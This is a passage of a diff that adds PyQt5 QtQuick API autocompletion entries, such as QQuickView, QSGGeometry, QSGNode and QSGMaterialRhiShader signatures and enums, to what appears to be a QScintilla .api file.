+QtQuick.QQuickView.Status?10 +QtQuick.QQuickView.Status.Null?10 +QtQuick.QQuickView.Status.Ready?10 +QtQuick.QQuickView.Status.Loading?10 +QtQuick.QQuickView.Status.Error?10 +QtQuick.QQuickView.ResizeMode?10 +QtQuick.QQuickView.ResizeMode.SizeViewToRootObject?10 +QtQuick.QQuickView.ResizeMode.SizeRootObjectToView?10 +QtQuick.QQuickView?1(QWindow parent=None) +QtQuick.QQuickView.__init__?1(self, QWindow parent=None) +QtQuick.QQuickView?1(QQmlEngine, QWindow) +QtQuick.QQuickView.__init__?1(self, QQmlEngine, QWindow) +QtQuick.QQuickView?1(QUrl, QWindow parent=None) +QtQuick.QQuickView.__init__?1(self, QUrl, QWindow parent=None) +QtQuick.QQuickView.source?4() -> QUrl +QtQuick.QQuickView.engine?4() -> QQmlEngine +QtQuick.QQuickView.rootContext?4() -> QQmlContext +QtQuick.QQuickView.rootObject?4() -> QQuickItem +QtQuick.QQuickView.resizeMode?4() -> QQuickView.ResizeMode +QtQuick.QQuickView.setResizeMode?4(QQuickView.ResizeMode) +QtQuick.QQuickView.status?4() -> QQuickView.Status +QtQuick.QQuickView.errors?4() -> unknown-type +QtQuick.QQuickView.initialSize?4() -> QSize +QtQuick.QQuickView.setSource?4(QUrl) +QtQuick.QQuickView.setInitialProperties?4(QVariantMap) +QtQuick.QQuickView.statusChanged?4(QQuickView.Status) +QtQuick.QQuickView.resizeEvent?4(QResizeEvent) +QtQuick.QQuickView.timerEvent?4(QTimerEvent) +QtQuick.QQuickView.keyPressEvent?4(QKeyEvent) +QtQuick.QQuickView.keyReleaseEvent?4(QKeyEvent) +QtQuick.QQuickView.mousePressEvent?4(QMouseEvent) +QtQuick.QQuickView.mouseReleaseEvent?4(QMouseEvent) +QtQuick.QQuickView.mouseMoveEvent?4(QMouseEvent) +QtQuick.QQuickWindow.CreateTextureOptions?1() +QtQuick.QQuickWindow.CreateTextureOptions.__init__?1(self) +QtQuick.QQuickWindow.CreateTextureOptions?1(int) +QtQuick.QQuickWindow.CreateTextureOptions.__init__?1(self, int) +QtQuick.QQuickWindow.CreateTextureOptions?1(QQuickWindow.CreateTextureOptions) +QtQuick.QQuickWindow.CreateTextureOptions.__init__?1(self, QQuickWindow.CreateTextureOptions) +QtQuick.QSGAbstractRenderer.MatrixTransformFlag?10 +QtQuick.QSGAbstractRenderer.MatrixTransformFlag.MatrixTransformFlipY?10 +QtQuick.QSGAbstractRenderer.ClearModeBit?10 +QtQuick.QSGAbstractRenderer.ClearModeBit.ClearColorBuffer?10 +QtQuick.QSGAbstractRenderer.ClearModeBit.ClearDepthBuffer?10 +QtQuick.QSGAbstractRenderer.ClearModeBit.ClearStencilBuffer?10 +QtQuick.QSGAbstractRenderer.setDeviceRect?4(QRect) +QtQuick.QSGAbstractRenderer.setDeviceRect?4(QSize) +QtQuick.QSGAbstractRenderer.deviceRect?4() -> QRect +QtQuick.QSGAbstractRenderer.setViewportRect?4(QRect) +QtQuick.QSGAbstractRenderer.setViewportRect?4(QSize) +QtQuick.QSGAbstractRenderer.viewportRect?4() -> QRect +QtQuick.QSGAbstractRenderer.setProjectionMatrixToRect?4(QRectF) +QtQuick.QSGAbstractRenderer.setProjectionMatrixToRect?4(QRectF, QSGAbstractRenderer.MatrixTransformFlags) +QtQuick.QSGAbstractRenderer.setProjectionMatrix?4(QMatrix4x4) +QtQuick.QSGAbstractRenderer.projectionMatrix?4() -> QMatrix4x4 +QtQuick.QSGAbstractRenderer.setClearColor?4(QColor) +QtQuick.QSGAbstractRenderer.clearColor?4() -> QColor +QtQuick.QSGAbstractRenderer.setClearMode?4(QSGAbstractRenderer.ClearMode) +QtQuick.QSGAbstractRenderer.clearMode?4() -> QSGAbstractRenderer.ClearMode +QtQuick.QSGAbstractRenderer.renderScene?4(int fboId=0) +QtQuick.QSGAbstractRenderer.sceneGraphChanged?4() +QtQuick.QSGAbstractRenderer.ClearMode?1() +QtQuick.QSGAbstractRenderer.ClearMode.__init__?1(self) +QtQuick.QSGAbstractRenderer.ClearMode?1(int) +QtQuick.QSGAbstractRenderer.ClearMode.__init__?1(self, int) +QtQuick.QSGAbstractRenderer.ClearMode?1(QSGAbstractRenderer.ClearMode) +QtQuick.QSGAbstractRenderer.ClearMode.__init__?1(self, QSGAbstractRenderer.ClearMode) +QtQuick.QSGAbstractRenderer.MatrixTransformFlags?1() +QtQuick.QSGAbstractRenderer.MatrixTransformFlags.__init__?1(self) +QtQuick.QSGAbstractRenderer.MatrixTransformFlags?1(int) +QtQuick.QSGAbstractRenderer.MatrixTransformFlags.__init__?1(self, int) +QtQuick.QSGAbstractRenderer.MatrixTransformFlags?1(QSGAbstractRenderer.MatrixTransformFlags) +QtQuick.QSGAbstractRenderer.MatrixTransformFlags.__init__?1(self, QSGAbstractRenderer.MatrixTransformFlags) +QtQuick.QSGEngine.CreateTextureOption?10 +QtQuick.QSGEngine.CreateTextureOption.TextureHasAlphaChannel?10 +QtQuick.QSGEngine.CreateTextureOption.TextureOwnsGLTexture?10 +QtQuick.QSGEngine.CreateTextureOption.TextureCanUseAtlas?10 +QtQuick.QSGEngine.CreateTextureOption.TextureIsOpaque?10 +QtQuick.QSGEngine?1(QObject parent=None) +QtQuick.QSGEngine.__init__?1(self, QObject parent=None) +QtQuick.QSGEngine.initialize?4(QOpenGLContext) +QtQuick.QSGEngine.invalidate?4() +QtQuick.QSGEngine.createRenderer?4() -> QSGAbstractRenderer +QtQuick.QSGEngine.createTextureFromImage?4(QImage, QSGEngine.CreateTextureOptions options=QSGEngine.CreateTextureOption()) -> QSGTexture +QtQuick.QSGEngine.createTextureFromId?4(int, QSize, QSGEngine.CreateTextureOptions options=QSGEngine.CreateTextureOption()) -> QSGTexture +QtQuick.QSGEngine.rendererInterface?4() -> QSGRendererInterface +QtQuick.QSGEngine.createRectangleNode?4() -> QSGRectangleNode +QtQuick.QSGEngine.createImageNode?4() -> QSGImageNode +QtQuick.QSGEngine.CreateTextureOptions?1() +QtQuick.QSGEngine.CreateTextureOptions.__init__?1(self) +QtQuick.QSGEngine.CreateTextureOptions?1(int) +QtQuick.QSGEngine.CreateTextureOptions.__init__?1(self, int) +QtQuick.QSGEngine.CreateTextureOptions?1(QSGEngine.CreateTextureOptions) +QtQuick.QSGEngine.CreateTextureOptions.__init__?1(self, QSGEngine.CreateTextureOptions) +QtQuick.QSGMaterial.Flag?10 +QtQuick.QSGMaterial.Flag.Blending?10 +QtQuick.QSGMaterial.Flag.RequiresDeterminant?10 +QtQuick.QSGMaterial.Flag.RequiresFullMatrixExceptTranslate?10 +QtQuick.QSGMaterial.Flag.RequiresFullMatrix?10 +QtQuick.QSGMaterial.Flag.CustomCompileStep?10 +QtQuick.QSGMaterial.Flag.SupportsRhiShader?10 +QtQuick.QSGMaterial.Flag.RhiShaderWanted?10 +QtQuick.QSGMaterial?1() +QtQuick.QSGMaterial.__init__?1(self) +QtQuick.QSGMaterial.type?4() -> QSGMaterialType +QtQuick.QSGMaterial.createShader?4() -> QSGMaterialShader +QtQuick.QSGMaterial.compare?4(QSGMaterial) -> int +QtQuick.QSGMaterial.flags?4() -> QSGMaterial.Flags +QtQuick.QSGMaterial.setFlag?4(QSGMaterial.Flags, bool enabled=True) +QtQuick.QSGFlatColorMaterial?1() +QtQuick.QSGFlatColorMaterial.__init__?1(self) +QtQuick.QSGFlatColorMaterial.type?4() -> QSGMaterialType +QtQuick.QSGFlatColorMaterial.createShader?4() -> QSGMaterialShader +QtQuick.QSGFlatColorMaterial.setColor?4(QColor) +QtQuick.QSGFlatColorMaterial.color?4() -> QColor +QtQuick.QSGFlatColorMaterial.compare?4(QSGMaterial) -> int +QtQuick.QSGGeometry.Type?10 +QtQuick.QSGGeometry.Type.ByteType?10 +QtQuick.QSGGeometry.Type.UnsignedByteType?10 +QtQuick.QSGGeometry.Type.ShortType?10 +QtQuick.QSGGeometry.Type.UnsignedShortType?10 +QtQuick.QSGGeometry.Type.IntType?10 +QtQuick.QSGGeometry.Type.UnsignedIntType?10 +QtQuick.QSGGeometry.Type.FloatType?10 +QtQuick.QSGGeometry.Type.Bytes2Type?10 +QtQuick.QSGGeometry.Type.Bytes3Type?10 +QtQuick.QSGGeometry.Type.Bytes4Type?10 +QtQuick.QSGGeometry.Type.DoubleType?10 +QtQuick.QSGGeometry.DrawingMode?10 +QtQuick.QSGGeometry.DrawingMode.DrawPoints?10 +QtQuick.QSGGeometry.DrawingMode.DrawLines?10 +QtQuick.QSGGeometry.DrawingMode.DrawLineLoop?10 +QtQuick.QSGGeometry.DrawingMode.DrawLineStrip?10 +QtQuick.QSGGeometry.DrawingMode.DrawTriangles?10 +QtQuick.QSGGeometry.DrawingMode.DrawTriangleStrip?10 +QtQuick.QSGGeometry.DrawingMode.DrawTriangleFan?10 +QtQuick.QSGGeometry.AttributeType?10 +QtQuick.QSGGeometry.AttributeType.UnknownAttribute?10 +QtQuick.QSGGeometry.AttributeType.PositionAttribute?10 +QtQuick.QSGGeometry.AttributeType.ColorAttribute?10 +QtQuick.QSGGeometry.AttributeType.TexCoordAttribute?10 +QtQuick.QSGGeometry.AttributeType.TexCoord1Attribute?10 +QtQuick.QSGGeometry.AttributeType.TexCoord2Attribute?10 +QtQuick.QSGGeometry.DataPattern?10 +QtQuick.QSGGeometry.DataPattern.AlwaysUploadPattern?10 +QtQuick.QSGGeometry.DataPattern.StreamPattern?10 +QtQuick.QSGGeometry.DataPattern.DynamicPattern?10 +QtQuick.QSGGeometry.DataPattern.StaticPattern?10 +QtQuick.GL_POINTS?10 +QtQuick.GL_LINES?10 +QtQuick.GL_LINE_LOOP?10 +QtQuick.GL_LINE_STRIP?10 +QtQuick.GL_TRIANGLES?10 +QtQuick.GL_TRIANGLE_STRIP?10 +QtQuick.GL_TRIANGLE_FAN?10 +QtQuick.GL_BYTE?10 +QtQuick.GL_DOUBLE?10 +QtQuick.GL_FLOAT?10 +QtQuick.GL_INT?10 +QtQuick.QSGGeometry?1(QSGGeometry.AttributeSet, int, int indexCount=0, int indexType=GL_UNSIGNED_SHORT) +QtQuick.QSGGeometry.__init__?1(self, QSGGeometry.AttributeSet, int, int indexCount=0, int indexType=GL_UNSIGNED_SHORT) +QtQuick.QSGGeometry.defaultAttributes_Point2D?4() -> QSGGeometry.AttributeSet +QtQuick.QSGGeometry.defaultAttributes_TexturedPoint2D?4() -> QSGGeometry.AttributeSet +QtQuick.QSGGeometry.defaultAttributes_ColoredPoint2D?4() -> QSGGeometry.AttributeSet +QtQuick.QSGGeometry.setDrawingMode?4(int) +QtQuick.QSGGeometry.drawingMode?4() -> int +QtQuick.QSGGeometry.allocate?4(int, int indexCount=0) +QtQuick.QSGGeometry.vertexCount?4() -> int +QtQuick.QSGGeometry.vertexData?4() -> sip.voidptr +QtQuick.QSGGeometry.indexType?4() -> int +QtQuick.QSGGeometry.indexCount?4() -> int +QtQuick.QSGGeometry.indexData?4() -> sip.voidptr +QtQuick.QSGGeometry.attributeCount?4() -> int +QtQuick.QSGGeometry.attributes?4() -> object +QtQuick.QSGGeometry.sizeOfVertex?4() -> int +QtQuick.QSGGeometry.updateRectGeometry?4(QSGGeometry, QRectF) +QtQuick.QSGGeometry.updateTexturedRectGeometry?4(QSGGeometry, QRectF, QRectF) +QtQuick.QSGGeometry.setIndexDataPattern?4(QSGGeometry.DataPattern) +QtQuick.QSGGeometry.indexDataPattern?4() -> QSGGeometry.DataPattern +QtQuick.QSGGeometry.setVertexDataPattern?4(QSGGeometry.DataPattern) +QtQuick.QSGGeometry.vertexDataPattern?4() -> QSGGeometry.DataPattern +QtQuick.QSGGeometry.markIndexDataDirty?4() +QtQuick.QSGGeometry.markVertexDataDirty?4() +QtQuick.QSGGeometry.lineWidth?4() -> float +QtQuick.QSGGeometry.setLineWidth?4(float) +QtQuick.QSGGeometry.indexDataAsUInt?4() -> object +QtQuick.QSGGeometry.indexDataAsUShort?4() -> object +QtQuick.QSGGeometry.vertexDataAsPoint2D?4() -> object +QtQuick.QSGGeometry.vertexDataAsTexturedPoint2D?4() -> object +QtQuick.QSGGeometry.vertexDataAsColoredPoint2D?4() -> object +QtQuick.QSGGeometry.sizeOfIndex?4() -> int +QtQuick.QSGGeometry.updateColoredRectGeometry?4(QSGGeometry, QRectF) +QtQuick.QSGGeometry.Attribute.attributeType?7 +QtQuick.QSGGeometry.Attribute.isVertexCoordinate?7 +QtQuick.QSGGeometry.Attribute.position?7 +QtQuick.QSGGeometry.Attribute.tupleSize?7 +QtQuick.QSGGeometry.Attribute.type?7 +QtQuick.QSGGeometry.Attribute?1() +QtQuick.QSGGeometry.Attribute.__init__?1(self) +QtQuick.QSGGeometry.Attribute?1(QSGGeometry.Attribute) +QtQuick.QSGGeometry.Attribute.__init__?1(self, QSGGeometry.Attribute) +QtQuick.QSGGeometry.Attribute.create?4(int, int, int, bool isPosition=False) -> QSGGeometry.Attribute +QtQuick.QSGGeometry.Attribute.createWithAttributeType?4(int, int, int, QSGGeometry.AttributeType) -> QSGGeometry.Attribute +QtQuick.QSGGeometry.AttributeSet.attributes?7 +QtQuick.QSGGeometry.AttributeSet.count?7 +QtQuick.QSGGeometry.AttributeSet.stride?7 +QtQuick.QSGGeometry.AttributeSet?1(object, int stride=0) +QtQuick.QSGGeometry.AttributeSet.__init__?1(self, object, int stride=0) +QtQuick.QSGGeometry.Point2D.x?7 +QtQuick.QSGGeometry.Point2D.y?7 +QtQuick.QSGGeometry.Point2D?1() +QtQuick.QSGGeometry.Point2D.__init__?1(self) +QtQuick.QSGGeometry.Point2D?1(QSGGeometry.Point2D) +QtQuick.QSGGeometry.Point2D.__init__?1(self, QSGGeometry.Point2D) +QtQuick.QSGGeometry.Point2D.set?4(float, float) +QtQuick.QSGGeometry.TexturedPoint2D.tx?7 +QtQuick.QSGGeometry.TexturedPoint2D.ty?7 +QtQuick.QSGGeometry.TexturedPoint2D.x?7 +QtQuick.QSGGeometry.TexturedPoint2D.y?7 +QtQuick.QSGGeometry.TexturedPoint2D?1() +QtQuick.QSGGeometry.TexturedPoint2D.__init__?1(self) +QtQuick.QSGGeometry.TexturedPoint2D?1(QSGGeometry.TexturedPoint2D) +QtQuick.QSGGeometry.TexturedPoint2D.__init__?1(self, QSGGeometry.TexturedPoint2D) +QtQuick.QSGGeometry.TexturedPoint2D.set?4(float, float, float, float) +QtQuick.QSGGeometry.ColoredPoint2D.a?7 +QtQuick.QSGGeometry.ColoredPoint2D.b?7 +QtQuick.QSGGeometry.ColoredPoint2D.g?7 +QtQuick.QSGGeometry.ColoredPoint2D.r?7 +QtQuick.QSGGeometry.ColoredPoint2D.x?7 +QtQuick.QSGGeometry.ColoredPoint2D.y?7 +QtQuick.QSGGeometry.ColoredPoint2D?1() +QtQuick.QSGGeometry.ColoredPoint2D.__init__?1(self) +QtQuick.QSGGeometry.ColoredPoint2D?1(QSGGeometry.ColoredPoint2D) +QtQuick.QSGGeometry.ColoredPoint2D.__init__?1(self, QSGGeometry.ColoredPoint2D) +QtQuick.QSGGeometry.ColoredPoint2D.set?4(float, float, int, int, int, int) +QtQuick.QSGNode.DirtyStateBit?10 +QtQuick.QSGNode.DirtyStateBit.DirtyMatrix?10 +QtQuick.QSGNode.DirtyStateBit.DirtyNodeAdded?10 +QtQuick.QSGNode.DirtyStateBit.DirtyNodeRemoved?10 +QtQuick.QSGNode.DirtyStateBit.DirtyGeometry?10 +QtQuick.QSGNode.DirtyStateBit.DirtyMaterial?10 +QtQuick.QSGNode.DirtyStateBit.DirtyOpacity?10 +QtQuick.QSGNode.Flag?10 +QtQuick.QSGNode.Flag.OwnedByParent?10 +QtQuick.QSGNode.Flag.UsePreprocess?10 +QtQuick.QSGNode.Flag.OwnsGeometry?10 +QtQuick.QSGNode.Flag.OwnsMaterial?10 +QtQuick.QSGNode.Flag.OwnsOpaqueMaterial?10 +QtQuick.QSGNode.NodeType?10 +QtQuick.QSGNode.NodeType.BasicNodeType?10 +QtQuick.QSGNode.NodeType.GeometryNodeType?10 +QtQuick.QSGNode.NodeType.TransformNodeType?10 +QtQuick.QSGNode.NodeType.ClipNodeType?10 +QtQuick.QSGNode.NodeType.OpacityNodeType?10 +QtQuick.QSGNode?1() +QtQuick.QSGNode.__init__?1(self) +QtQuick.QSGNode.parent?4() -> QSGNode +QtQuick.QSGNode.removeChildNode?4(QSGNode) +QtQuick.QSGNode.removeAllChildNodes?4() +QtQuick.QSGNode.prependChildNode?4(QSGNode) +QtQuick.QSGNode.appendChildNode?4(QSGNode) +QtQuick.QSGNode.insertChildNodeBefore?4(QSGNode, QSGNode) +QtQuick.QSGNode.insertChildNodeAfter?4(QSGNode, QSGNode) +QtQuick.QSGNode.childCount?4() -> int +QtQuick.QSGNode.childAtIndex?4(int) -> QSGNode +QtQuick.QSGNode.firstChild?4() -> QSGNode +QtQuick.QSGNode.lastChild?4() -> QSGNode +QtQuick.QSGNode.nextSibling?4() -> QSGNode +QtQuick.QSGNode.previousSibling?4() -> QSGNode +QtQuick.QSGNode.type?4() -> QSGNode.NodeType +QtQuick.QSGNode.markDirty?4(QSGNode.DirtyState) +QtQuick.QSGNode.isSubtreeBlocked?4() -> bool +QtQuick.QSGNode.flags?4() -> QSGNode.Flags +QtQuick.QSGNode.setFlag?4(QSGNode.Flag, bool enabled=True) +QtQuick.QSGNode.setFlags?4(QSGNode.Flags, bool enabled=True) +QtQuick.QSGNode.preprocess?4() +QtQuick.QSGBasicGeometryNode.setGeometry?4(QSGGeometry) +QtQuick.QSGBasicGeometryNode.geometry?4() -> QSGGeometry +QtQuick.QSGGeometryNode?1() +QtQuick.QSGGeometryNode.__init__?1(self) +QtQuick.QSGGeometryNode.setMaterial?4(QSGMaterial) +QtQuick.QSGGeometryNode.material?4() -> QSGMaterial +QtQuick.QSGGeometryNode.setOpaqueMaterial?4(QSGMaterial) +QtQuick.QSGGeometryNode.opaqueMaterial?4() -> QSGMaterial +QtQuick.QSGImageNode.TextureCoordinatesTransformFlag?10 +QtQuick.QSGImageNode.TextureCoordinatesTransformFlag.NoTransform?10 +QtQuick.QSGImageNode.TextureCoordinatesTransformFlag.MirrorHorizontally?10 +QtQuick.QSGImageNode.TextureCoordinatesTransformFlag.MirrorVertically?10 +QtQuick.QSGImageNode.setRect?4(QRectF) +QtQuick.QSGImageNode.setRect?4(float, float, float, float) +QtQuick.QSGImageNode.rect?4() -> QRectF +QtQuick.QSGImageNode.setSourceRect?4(QRectF) +QtQuick.QSGImageNode.setSourceRect?4(float, float, float, float) +QtQuick.QSGImageNode.sourceRect?4() -> QRectF +QtQuick.QSGImageNode.setTexture?4(QSGTexture) +QtQuick.QSGImageNode.texture?4() -> QSGTexture +QtQuick.QSGImageNode.setFiltering?4(QSGTexture.Filtering) +QtQuick.QSGImageNode.filtering?4() -> QSGTexture.Filtering +QtQuick.QSGImageNode.setMipmapFiltering?4(QSGTexture.Filtering) +QtQuick.QSGImageNode.mipmapFiltering?4() -> QSGTexture.Filtering +QtQuick.QSGImageNode.setTextureCoordinatesTransform?4(QSGImageNode.TextureCoordinatesTransformMode) +QtQuick.QSGImageNode.textureCoordinatesTransform?4() -> QSGImageNode.TextureCoordinatesTransformMode +QtQuick.QSGImageNode.setOwnsTexture?4(bool) +QtQuick.QSGImageNode.ownsTexture?4() -> bool +QtQuick.QSGImageNode.rebuildGeometry?4(QSGGeometry, QSGTexture, QRectF, QRectF, QSGImageNode.TextureCoordinatesTransformMode) +QtQuick.QSGImageNode.TextureCoordinatesTransformMode?1() +QtQuick.QSGImageNode.TextureCoordinatesTransformMode.__init__?1(self) +QtQuick.QSGImageNode.TextureCoordinatesTransformMode?1(int) +QtQuick.QSGImageNode.TextureCoordinatesTransformMode.__init__?1(self, int) +QtQuick.QSGImageNode.TextureCoordinatesTransformMode?1(QSGImageNode.TextureCoordinatesTransformMode) +QtQuick.QSGImageNode.TextureCoordinatesTransformMode.__init__?1(self, QSGImageNode.TextureCoordinatesTransformMode) +QtQuick.QSGMaterialShader?1() +QtQuick.QSGMaterialShader.__init__?1(self) +QtQuick.QSGMaterialShader.activate?4() +QtQuick.QSGMaterialShader.deactivate?4() +QtQuick.QSGMaterialShader.updateState?4(QSGMaterialShader.RenderState, QSGMaterial, QSGMaterial) +QtQuick.QSGMaterialShader.attributeNames?4() -> object +QtQuick.QSGMaterialShader.program?4() -> QOpenGLShaderProgram +QtQuick.QSGMaterialShader.compile?4() +QtQuick.QSGMaterialShader.initialize?4() +QtQuick.QSGMaterialShader.vertexShader?4() -> str +QtQuick.QSGMaterialShader.fragmentShader?4() -> str +QtQuick.QSGMaterialShader.setShaderSourceFile?4(QOpenGLShader.ShaderType, QString) +QtQuick.QSGMaterialShader.setShaderSourceFiles?4(QOpenGLShader.ShaderType, QStringList) +QtQuick.QSGMaterialShader.RenderState.DirtyState?10 +QtQuick.QSGMaterialShader.RenderState.DirtyState.DirtyMatrix?10 +QtQuick.QSGMaterialShader.RenderState.DirtyState.DirtyOpacity?10 +QtQuick.QSGMaterialShader.RenderState.DirtyState.DirtyCachedMaterialData?10 +QtQuick.QSGMaterialShader.RenderState.DirtyState.DirtyAll?10 +QtQuick.QSGMaterialShader.RenderState?1() +QtQuick.QSGMaterialShader.RenderState.__init__?1(self) +QtQuick.QSGMaterialShader.RenderState?1(QSGMaterialShader.RenderState) +QtQuick.QSGMaterialShader.RenderState.__init__?1(self, QSGMaterialShader.RenderState) +QtQuick.QSGMaterialShader.RenderState.dirtyStates?4() -> QSGMaterialShader.RenderState.DirtyStates +QtQuick.QSGMaterialShader.RenderState.isMatrixDirty?4() -> bool +QtQuick.QSGMaterialShader.RenderState.isOpacityDirty?4() -> bool +QtQuick.QSGMaterialShader.RenderState.opacity?4() -> float +QtQuick.QSGMaterialShader.RenderState.combinedMatrix?4() -> QMatrix4x4 +QtQuick.QSGMaterialShader.RenderState.modelViewMatrix?4() -> QMatrix4x4 +QtQuick.QSGMaterialShader.RenderState.viewportRect?4() -> QRect +QtQuick.QSGMaterialShader.RenderState.deviceRect?4() -> QRect +QtQuick.QSGMaterialShader.RenderState.determinant?4() -> float +QtQuick.QSGMaterialShader.RenderState.context?4() -> QOpenGLContext +QtQuick.QSGMaterialShader.RenderState.projectionMatrix?4() -> QMatrix4x4 +QtQuick.QSGMaterialShader.RenderState.devicePixelRatio?4() -> float +QtQuick.QSGMaterialShader.RenderState.isCachedMaterialDataDirty?4() -> bool +QtQuick.QSGMaterialShader.RenderState.DirtyStates?1() +QtQuick.QSGMaterialShader.RenderState.DirtyStates.__init__?1(self) +QtQuick.QSGMaterialShader.RenderState.DirtyStates?1(int) +QtQuick.QSGMaterialShader.RenderState.DirtyStates.__init__?1(self, int) +QtQuick.QSGMaterialShader.RenderState.DirtyStates?1(QSGMaterialShader.RenderState.DirtyStates) +QtQuick.QSGMaterialShader.RenderState.DirtyStates.__init__?1(self, QSGMaterialShader.RenderState.DirtyStates) +QtQuick.QSGMaterialType?1() +QtQuick.QSGMaterialType.__init__?1(self) +QtQuick.QSGMaterialType?1(QSGMaterialType) +QtQuick.QSGMaterialType.__init__?1(self, QSGMaterialType) +QtQuick.QSGMaterial.Flags?1() +QtQuick.QSGMaterial.Flags.__init__?1(self) +QtQuick.QSGMaterial.Flags?1(int) +QtQuick.QSGMaterial.Flags.__init__?1(self, int) +QtQuick.QSGMaterial.Flags?1(QSGMaterial.Flags) +QtQuick.QSGMaterial.Flags.__init__?1(self, QSGMaterial.Flags) +QtQuick.QSGMaterialRhiShader.Flag?10 +QtQuick.QSGMaterialRhiShader.Flag.UpdatesGraphicsPipelineState?10 +QtQuick.QSGMaterialRhiShader?1() +QtQuick.QSGMaterialRhiShader.__init__?1(self) +QtQuick.QSGMaterialRhiShader.updateUniformData?4(QSGMaterialRhiShader.RenderState, QSGMaterial, QSGMaterial) -> bool +QtQuick.QSGMaterialRhiShader.updateSampledImage?4(QSGMaterialRhiShader.RenderState, int, QSGMaterial, QSGMaterial) -> QSGTexture +QtQuick.QSGMaterialRhiShader.updateGraphicsPipelineState?4(QSGMaterialRhiShader.RenderState, QSGMaterialRhiShader.GraphicsPipelineState, QSGMaterial, QSGMaterial) -> bool +QtQuick.QSGMaterialRhiShader.flags?4() -> QSGMaterialRhiShader.Flags +QtQuick.QSGMaterialRhiShader.setFlag?4(QSGMaterialRhiShader.Flags, bool on=True) +QtQuick.QSGMaterialRhiShader.RenderState?1() +QtQuick.QSGMaterialRhiShader.RenderState.__init__?1(self) +QtQuick.QSGMaterialRhiShader.RenderState?1(QSGMaterialRhiShader.RenderState) +QtQuick.QSGMaterialRhiShader.RenderState.__init__?1(self, QSGMaterialRhiShader.RenderState) +QtQuick.QSGMaterialRhiShader.RenderState.dirtyStates?4() -> QSGMaterialShader.RenderState.DirtyStates +QtQuick.QSGMaterialRhiShader.RenderState.isMatrixDirty?4() -> bool +QtQuick.QSGMaterialRhiShader.RenderState.isOpacityDirty?4() -> bool +QtQuick.QSGMaterialRhiShader.RenderState.opacity?4() -> float +QtQuick.QSGMaterialRhiShader.RenderState.combinedMatrix?4() -> QMatrix4x4 +QtQuick.QSGMaterialRhiShader.RenderState.modelViewMatrix?4() -> QMatrix4x4 +QtQuick.QSGMaterialRhiShader.RenderState.projectionMatrix?4() -> QMatrix4x4 +QtQuick.QSGMaterialRhiShader.RenderState.viewportRect?4() -> QRect +QtQuick.QSGMaterialRhiShader.RenderState.deviceRect?4() -> QRect +QtQuick.QSGMaterialRhiShader.RenderState.determinant?4() -> float +QtQuick.QSGMaterialRhiShader.RenderState.devicePixelRatio?4() -> float +QtQuick.QSGMaterialRhiShader.RenderState.uniformData?4() -> QByteArray +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.CullMode?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.CullMode.CullNone?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.CullMode.CullFront?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.CullMode.CullBack?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.ColorMaskComponent?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.ColorMaskComponent.R?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.ColorMaskComponent.G?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.ColorMaskComponent.B?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.ColorMaskComponent.A?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor.Zero?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor.One?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor.SrcColor?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor.OneMinusSrcColor?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor.DstColor?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor.OneMinusDstColor?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor.SrcAlpha?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor.OneMinusSrcAlpha?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor.DstAlpha?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor.OneMinusDstAlpha?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor.ConstantColor?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor.OneMinusConstantColor?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor.ConstantAlpha?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor.OneMinusConstantAlpha?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor.SrcAlphaSaturate?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor.Src1Color?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor.OneMinusSrc1Color?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor.Src1Alpha?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.BlendFactor.OneMinusSrc1Alpha?10 +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState?1() +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.__init__?1(self) +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState?1(QSGMaterialRhiShader.GraphicsPipelineState) +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.__init__?1(self, QSGMaterialRhiShader.GraphicsPipelineState) +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.ColorMask?1() +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.ColorMask.__init__?1(self) +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.ColorMask?1(int) +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.ColorMask.__init__?1(self, int) +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.ColorMask?1(QSGMaterialRhiShader.GraphicsPipelineState.ColorMask) +QtQuick.QSGMaterialRhiShader.GraphicsPipelineState.ColorMask.__init__?1(self, QSGMaterialRhiShader.GraphicsPipelineState.ColorMask) +QtQuick.QSGMaterialRhiShader.Flags?1() +QtQuick.QSGMaterialRhiShader.Flags.__init__?1(self) +QtQuick.QSGMaterialRhiShader.Flags?1(int) +QtQuick.QSGMaterialRhiShader.Flags.__init__?1(self, int) +QtQuick.QSGMaterialRhiShader.Flags?1(QSGMaterialRhiShader.Flags) +QtQuick.QSGMaterialRhiShader.Flags.__init__?1(self, 